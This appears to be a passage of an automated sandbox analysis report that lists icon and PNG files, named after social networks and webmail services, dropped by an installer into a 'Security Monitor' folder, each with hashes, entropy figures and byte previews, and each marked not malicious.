Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\my.screenname.aol.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\myspace.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.7202656984010085
Encrypted:	false
SSDEEP:	12:JdJzibJG6NppClipAcGrwX6QG6tIR/8hINNIyJwy1I2Mleeyy7qVT:JdJz+BalipGZP6tIMINNIcV1I2Ml2y7a
MD5:	EBFC3AD0B132D550ADC92A0F42776D1F
SHA1:	335FFD8C4685F556F837F6E8D94D7058F4636023
SHA-256:	1F00E5AE25225136ED95AD24D70C691C4367843E52A3E6D961F4E2009DFEA934
SHA-512:	A834FD7402F572AB7D27A0547C4363A02C94DCD87E733AB7DA0CC1B25437657F8876F540EC06C544AFB6490449B6611311EE82C8F6E333771D7A00CD391D523D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D.?.C..B...@...?...>...=...;...:...9...8...8...8...8...8..8./.F..Q...])..d/..b/..f1.........................._,..N...B...8..G..._+..g1..e0..d/..g2..........................a...V'..M...8...H...i3..h2..f1..e0..h2..........................b...W'..V&..8...I...k4..i3..h2..f1..h2..........................c/..Y(..W'..8...K...k4..j4..i3..g2..i3........................b...Z)..X(..8...L...l5..k4..j4..i3..g2..s@..............q?..^,..[..Z)..9...M...l5..l5..k4..j3..h2..g2..i3..l5..l5..g2.._-..^,..\+..[..:...N...l5..l5..l5..k4..j3..j3..t..........t..f1.._,..^,..\+..;...P...}M..U..Y..b..^..P..................~O..j:..e5..a0..=...Q...l..i..e..b..^..g..................g..n>..j;..f6..>...R...l..i..e..b..^..P..................~O..p@..k;..h7..?...T...l..i..e..b..^..}M..Z.........Z..q?..qA..m<..g5..@...U...X..i..e..b..^..[..~O..wD..uB..wE..vF..sB..n=..a/..B...V...m:..V..S..~P..{M..yJ..wG..uE..rA..o

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\myspace.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706
Entropy (8bit):	7.638733880632528
Encrypted:	false
SSDEEP:	12:6v/7Uqs1+tuWPx3jbdb1W7vVeaQkcbxKOd1MB09EVxRXXstDRpROyXSF:3qs1vWPxTugaxcbxKwMB09EjUVOyg
MD5:	B9A06A13BF911BA4288024CB22CD4B8E
SHA1:	43D03CC1C89C311CD7E8F39D531341D71CEA5C98
SHA-256:	E37F73F2FC45067F9F946BA9AC18E6D5C87FFDFB096853667699EA5CA116871E
SHA-512:	417D7091DA9950B32A197599775BD72A9DD7A2D996F5F057B47D490A61AD70D697A3D2B293ECDDF0901D6EE482B86CBC04E808E08005550E7F0600AE5F1134A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.KLSQ...so.........ipC0F..$..h._....H...r.[.........+.....X.......)-..B.....C..t.............).x(....&,/..x..n.`.F.9.y.S..U..bq.....M.f.08}..G"Q.LGC...GQW..B...&.)H\|.c6.%DU...08..s.4.#..`..?..]....f. _..c.h.j{?..?q(0........}.h~'.........k..b.eZ.......f..KI0..+kz#..T/.....^.F.]..D`p....`........J8(..2.h]Z.d.j...4..`2.!..1.......KQ.......L..].K....Sq..(:.~CO.R...4:..s.y.<.\|Y..O.3..E]...'...e?.T?H@i.3..U.d,5.....8]..f...t.kh....T.....Xs.).....t.(.q.........0.....M...Y....[.O.Z...vkk......W$..2nl.......].OI..[........$g.2n\|.'X..G..]...V..+..#7.\|'."..K`jr..h.!...s..`_..Plvt....9..Zt.....D<...q6.8g.r.h..B.Y..]$.P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\odnoklassniki.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.462526568231166
Encrypted:	false
SSDEEP:	24:xDsK0GRS99Rss9RRgJw3Y8/atH9aVGS4pF8lY2GSVSSSSSaGR/X/f:lML9RYwottHQVGR8l9TVSSSSSaUvf
MD5:	EA31E69B4C099C0090A088937CE958D6
SHA1:	CC50F1927506BA8B94C17BFEBBA8D7B928C3A2E0
SHA-256:	3F5FDBA100DD35B0BB4DBBC216A6D0E555C11E3C4907871A1B641BAFCEF6AC99
SHA-512:	B3A62801B292D27F8614E8612399A13A1B66C15EE8ED7781A4DE87C05CE8530255A8F4BA993775810D8E4E1DA2647E58B57C3026BB0718294AA6E4C515E888D2
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D...C...A...A...A...@...@...@...@...@...@...A...A...A...C...D...E../r...e...c...b...`...^...`...`...^..._...a...c...e../r...E...G...k...V...U...T...M...J...K...L...J...L...R...U...V...k...G...I...m...Y...Y...X..........@{...`...........m...Y...Y...m...I...K...q..._..._...^...e..................$r...]..._..._...q...K...M...v...c...c...a...Z...d..........9z...X...^...b...c...v...M...N..!{...g...g...d..s.......................(w...e...g..!{...N...R..$....l...m...k..........R...P...w............l...l..$....R...S..'....q...r...p..#z..`...........z...&{...{...r...q..'....S...U..,....v...v...r..Y........................q...t...v..,....U...W..1....z...z...w...........r...r..........?....y...z..1....W...Y..6....}...}...{...........p...m..........E....}...}..6....Y...[..;...............l.......................%...........;....[...^..A...#..."...#...$...y...............,...#..."...#...A....^...`..[...G...D...E...F...F...F...F...F...F.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\odnoklassniki.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.700988619334296
Encrypted:	false
SSDEEP:	24:2/3exgROSyP3NqUTxBlR8kEPzRspi/MKFhG1Bx:hQOZNVR8HVZkKDG1v
MD5:	6EC205B2369CA054BF85B085486CED9D
SHA1:	26C0B61289F804913164DDDAD8F905E12C8BD4A3
SHA-256:	7E436D02E18B665764D2F2C748068AC8069DB59BCDDA9983F09EA370D742474E
SHA-512:	A446CB697276D8AB014E0A38FFB0F6F31FC1BE4DD27A0A795829F4E844237243EE6B7A92A881841DA30F4E3E7A396E6065DAEB4C868CAD7EE195162CCDE0ADBA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.m.[hTW...}f....8Ij.51!.TI.h.^PJ...........\|.O}RKQ..D.\|....,H.. -i....4...1..h&.....]{...v..........,.?.}.......2../...r...........zH% .Z.fA...%;>.. ..MT.+.....c....r....!......%pS.c.......k/..O...W.$Wm.].`.....N.g.......m...b.VTg#zY.j....4T..b.\|^..D7....'....\.z....J.j{(....F(.Y.3"..w`^....p.....j.:...........@;.z..UUB...O.E..6.7]..6..5,.J..Y2-...I.1(TJ..Tt...&.#.V..PH.\|.[...O....2.....[."+...2....8..K..=..;c4.....uRO[....a...........Z./.3........^{0%.$7\|..r7Np..\'.Hw....2..1..+(#.......e%B.saZ:...&s........D...g.3/ ...o........Q."....Bo:+.@.(_........^m"0..x../..../Q.....p.C............y;.'.M..f.y'Nb........B.\|...(..~e.5.....'..w...A...y.\|.....B.....z..=$.......$.k.C~...a..1.}...sNH.q;..Y..o...j.].'..~.)..H.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\qqzone.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5696063839477725
Encrypted:	false
SSDEEP:	12:0onYbuFo5fA8aRoEttw4HX1Jur9OrnYGKBjD21cmex8ZJnISD:9loEttw8uWy9sYK
MD5:	4F38A1E43DE6E4F1BD4BDBCC55706408
SHA1:	BBBDFB099C1921BD944230FC37DC9963FD2EED81
SHA-256:	9CA3C995F7DB760EFF9ED69DFDBA578481CAB520D164F1B7A1201E1DFB7AAA66
SHA-512:	6840EAE20F876A5DE457AB3DC703E28D302FB640E641F9AC2117D8EF30DF447BCC265F3CDC68DA5EE21CF14AA0FFB7AD6873C041DF016DD536018E7BC9E59A90
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................q...................................b.......................................!...............s...................................................................................................x...............................................................MJ...................g...8......................................*#...................................e..~........................................]......................"....................................S.......X...................... ....................................^...............................................i...........................K..........................?...n....................,......................y...J...........................J...................................................................................................................................4...........o..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\qqzone.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	639
Entropy (8bit):	7.377780326372934
Encrypted:	false
SSDEEP:	12:6v/7VDc+Qow9oS1rka1r1gslVtbq7eH8MycqGcjnM1eyYHhLpPiX:fLow9frbxG4qecMCBjnMsyYHiX
MD5:	532021B5830C2239DEE3E8FF33229A0B
SHA1:	4C2280EF8547087BE905669B6F49AEEA4C19E2F5
SHA-256:	AA747B612FBFAC5FAC5866F83687D3683402387436E528C80D6E3B7C48EE770A
SHA-512:	90D8345469986460A788254EDADCBFB13F5C0FFF81F8CD9707C86A47E1DBA426A6318E5BA52ACFC381F81DB59CF10B04A894EF7FC5CBC950CE5B59FD001C5F88
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a... cHRM..z%..............u0...`..:....o._.F....pHYs...........~.....tEXtSoftware.paint.net 4.0.6..c.....IDAT8O.SKH.Q...i..U...J..J.]......tS....E....]..BW...B...?(RE.D4.[.A. .Db2..../.....L..{....X..*...."."w9...e.;.FD.!.Z~8h.;fw.!..J....<1.5......n..L.... ..1.....U..o.........Q.....U.....G.Pg?...m....P[..[EdC..g\|.~#.p.T.s...o/q1Z..B3..`..........C.K..X....Ym........aF...^.P....L.M..p2...Z..k.g....I....7...IC..P...:.Af.. ...-.P....am.3....~.k}H-.!9^.D.......Y[...?....{.w0W.k...O?...y....P+.5'....!........r..8..\|.0N.....z7yD.X+.%..T....+..-..!-jG.o..kn.)61......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\twitter.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.943382230545427
Encrypted:	false
SSDEEP:	12:S4YaNZKzJLGaBGzrHyCX0n3Ols63OjokVhVZcR9dfw8skIL00006fDxzKapll1Km:1uzJJBGH+j5hS9VxAmpKuNNNNNNNNNZ
MD5:	C372CECACDD31BCFD147D55D146C2CD4
SHA1:	A0C7F66256023E4DA4697CE0D37D809D206CC85E
SHA-256:	508BD905BEA0E89DA025DECD1BFE5E4B31A1F003BC3F2B5C5567A2470A307820
SHA-512:	58287A1C0896ABA3F9712FCEA29C3DAF892AE9F485E4DDBA56A442F9B7B6F439D3375A0EB46209FF4E86720B0D5C706BC22F8C49165A34458CA0A4EE2BD94DE7
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................Q...F...?...?...?...?...?...?...?...?...?...?...?...>...E...Q...H...i...............................................d...H...C...................E...3...3...3...3................C...E................3...3...3...3...3...3...3.............E...G.............F...3...3...3...3...3...3................H...I.............3...3...3................................J...K.............3...3...3................................L...N.............3...3...3...3...3...3...3................N...P.............3...3...3...3...3...3...3...3.............P...R..............3...3...3...3...3...3...3.................R...T..............3...3...3.................................U...V..............3...3...3.............................W...X.................3................................Y...[.....................................................\...g......................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\twitter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.412255128365162
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjAgxNF+Q7L4f031MIYJqGdhz90Iq7AGg71T+51fDPgME:XMOxbL4+S1nJ0xk71TYzgP
MD5:	79AEBF6646108C56AA59E1D27672A308
SHA1:	BAA186067518DFA1F18A2AFCB50AF03041E40AA4
SHA-256:	B64E7582BFD5CD8AAE7F9AB31B2B12AFF640857B6670873D94C15D0CE70533D9
SHA-512:	D41A2F5A204B43DADF5CC461EB1E713187B6AF616FF651A06299574C7BE1E8E9A634E9259C3B63594E627DE2FC8B5DE4CC02FD2DF5F51E924E74C74A7EAD515A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z......IDAT8...MkSQ...s.I./.ik...S..bA1[7n...H@...[...D.n.U..E.bAcH.$MC.....ZIc...8...w..U.=..UsbUU).;.F.+.R3....U.I%P4.E...V.......9rT.].X,V"n.\."&.3.2pn.R."...o...".L`.=..9>...-...w.y..\..#g.^...@..z..P...Z.D......D.ApA.*.........pD.:\|...&.x..p......5..R.w..x....SY.../.J&.I..H...'...X....=A.x..&...{....b.0.cEp..:............%..$&........g;f.P..6..t~.S.R.>...[6..s=x.u.r&.O...^..jJQDc0b..............'tc.ec8.#..z......>\..M..b.;.<%..4.0v....o..V/b...&g\|mo"..^...N..#.).#..fB....:..t......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\vkontakte.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.276060631735337
Encrypted:	false
SSDEEP:	24:MXjJ+Ja5yURg0WulL9rChz1XcXbQxX2rD4:kIJ4yURgLkprChzBcXbeXID4
MD5:	97B03F45DC3F2AA6B9908A842ED7A308
SHA1:	5C0489A30B7805DB94B9F60C53616A4CA8BCA5C4
SHA-256:	C08548C6A31E3C58F69B083ADAA3154C5957619E65F1FF910FDBB7F83B480183
SHA-512:	78130C2A02CF5E56103C42E3ADB35CA85DBB8A66259C895F7CEB987B1BC7B73932F54A2F28B4F065765C9B9264E088E57C5DEE70ABCC9B41D9DE6AEE90BE08A9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................U="..b<.f>.f>.f>.f>.f>.f>.f>.f>.f>.f>.b<.U=".....W>"..wJ..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..wJ.W>"..g;.pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..g;.i<.mA..mA..l@..l?..l@..mA..mA..m@..l?..l@..mA..l@..l?..l?..i<.g9.j>..j=..\|].......l..i<..j>..sQ.......]..i<..._.......y..f7.e7.g:..d4..............a2..g:..x^.......t..g<..........rJ..e6.c4.c6..a8..............tM..c6..x].......o...........y..a3..c4.a2._1...n......\|c..........^0..x[.................[,..`2..a2._/.X'.........]/.........`2..~c...............w..Y*..]..._/.[+.f?.........tL...........j...u..................._..c7..[+.yR.............a...g.......................a...........d..yR.i........u...r...o..........~..........r..............j.z.........................................................z...............................................................p[..............................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\vkontakte.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.739847313028713
Encrypted:	false
SSDEEP:	12:6v/7A0VGIMaJnGINOCUG1s1tdXBlkgV3qICi6aw5FDk+RA1xuw/bK11x8GRtnY1V:5IzGGO60BC/P5iohugnYiLjU
MD5:	F7412F52AFCDBFAA2520A462C99468FC
SHA1:	DE1BAD996FACA409432C84C0EE0724827C00D072
SHA-256:	13F249E23B22582CFC057954C4A040EBA5733E3FEEA3FC3DAB0F9EF584DE89A8
SHA-512:	FA1205996FF98BCA175F38AB210AF47E56DF29E580D8FA16CA6C30C9BF324D53847335149DCDB874178F7642D49AD24DFEC0C67B32F831E6999B9050FB7ECE64
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S{H.Q.=....)Y....\|4..CmeZZ*....!dQ..J..J..aI..... %.LILK..0....SI..H3\|l.}[[O.........K.K.....s."#.DB...a...t........hAb\..h4NG.....7j..W.z.fK.3R.....emD4c%...0.....7?a.9.GY..g.......x..<.c..3@....#.......>}....X...v.j.W.$(.....]..(.lF..A..G..m.oU.UW/r..p..1^t..pj4.Y..x...=G...X'[..-..j.NW>.Z.Gdn.E.[..&....'+...@.uk..........Oqd....~r.).G....1.W.L.........@..(..g..![....P..eI...(...(Y....:...h(J.......j.7.......D..M`.....Zd.6B$...rD...K..e2.\....I8..ao..h....Y.\|.&... .t@X...u/q.........T,M......Q.%.Vs...!."....rw.GYC.Z.9...a#....G.l51D^..i..... .J?W.hF.>0......(..m=Z.hG.5O...........=%.P.H..-C..P..?.=V.#..~........M....2..T.?..D....._$....qg]....@$...d4.....[j2.....AF%.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\youtube.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.490442714261337
Encrypted:	false
SSDEEP:	24:hvTTTTTTTTTTTr6TTTTTTTTTTTTc2UTTATTTTTiTTFTTTTKTTTLTTUTTT5PTTVTp:NTTTTTTTTTTT2TTTTTTTTTTTTc2UTTAa
MD5:	3EFC7DC297E404B3905700EC7BAD9F52
SHA1:	51AA1918C57A97D0C0C60D7AE9C55356E6F6B8F9
SHA-256:	455B953BE12AFA28BF8823BBD0A8E2C1D7730878FBCBF7B1D3245D4FB5A09ACA
SHA-512:	29644DA8AB7596B0EF2849BF7BBED4B76478C38DCA6EE7E735D4CA9B4693F1978CF60A5909C8733A98CF5C14F088884FCFC0AED6C85C6109F7838729D18E98F9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................................................................B...{.....................................F.......d...........................................................d................................................................................................................................................................+,......................................................................$%..............................................................UU......................................................qq......................................................NO.........................................................................................................e...........................................................e.......G.......................................G..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\youtube.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	6.917623353697257
Encrypted:	false
SSDEEP:	12:6v/78/LcZn9Kk5YNxqZcvZ46+mxhdPGDjrc:KZUIYNxtvPZV
MD5:	483305114EBE1A4A44773D21D611216C
SHA1:	3C0FBD8BA2AE801A9B03CC238AB641E65E9B67D2
SHA-256:	A150DC4A0B8367A03736C12A4851EB29D780D3EE2B1D0709B417BE0A5FCE1774
SHA-512:	706D04A9BAC5EFA0F85A2070305BF52908D1D4DFF1AE27B4EA09E7BAC291D94B2E980EEEEA9A9C29559E2C728E44C276561F559532E3DFB929AD70C4829FA111
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT8Oc.......Ya..s...f......-;+,....l.. 9...Z....."..@...`.^...G.I..Az......&y....yI..q.,$..h...l..v..............n.H/.6...........vh.?,...4../..O..wQU....8..n..?....wYG.C...^....$.9......h<'(..M.(...N.g......U..i.9!..@z>.^.T...AI........3.5.........00...!s&...T....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\GMX.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Gmail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.433906899003064
Encrypted:	false
SSDEEP:	48:FYv/RQcs//cF///cPG/////cP5Q//////cPQ////////ce///////cE4/////c3Q:uv/RdBmTBVlbaMeExLKwePaSO
MD5:	5B44B02CBAC63F77EDFDB9C6B685AD91
SHA1:	D8592C8C56F4E6DE68835268459472F24362A9CD
SHA-256:	9CD7273F90F5F7C4BD2003695920A551B204A2F73690D6B0918323E2649DD15A
SHA-512:	F0D33196CE43A5D599D271E1176A5A76FD09B271A3B44810CD9DE9310FE4EF57EA1D71918F6B596C1AB42755C890B61D5EF49EBDDE72D5AC879C137B497E83E6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................L]..LY.MY..........................................................................9../9..-8.2....O_..MY..MZ..MZ................................................................................................./9../9..-7..-8.2NY.XMZ..MZ..MZ...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Mail.RU.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Mail.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Outlook Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
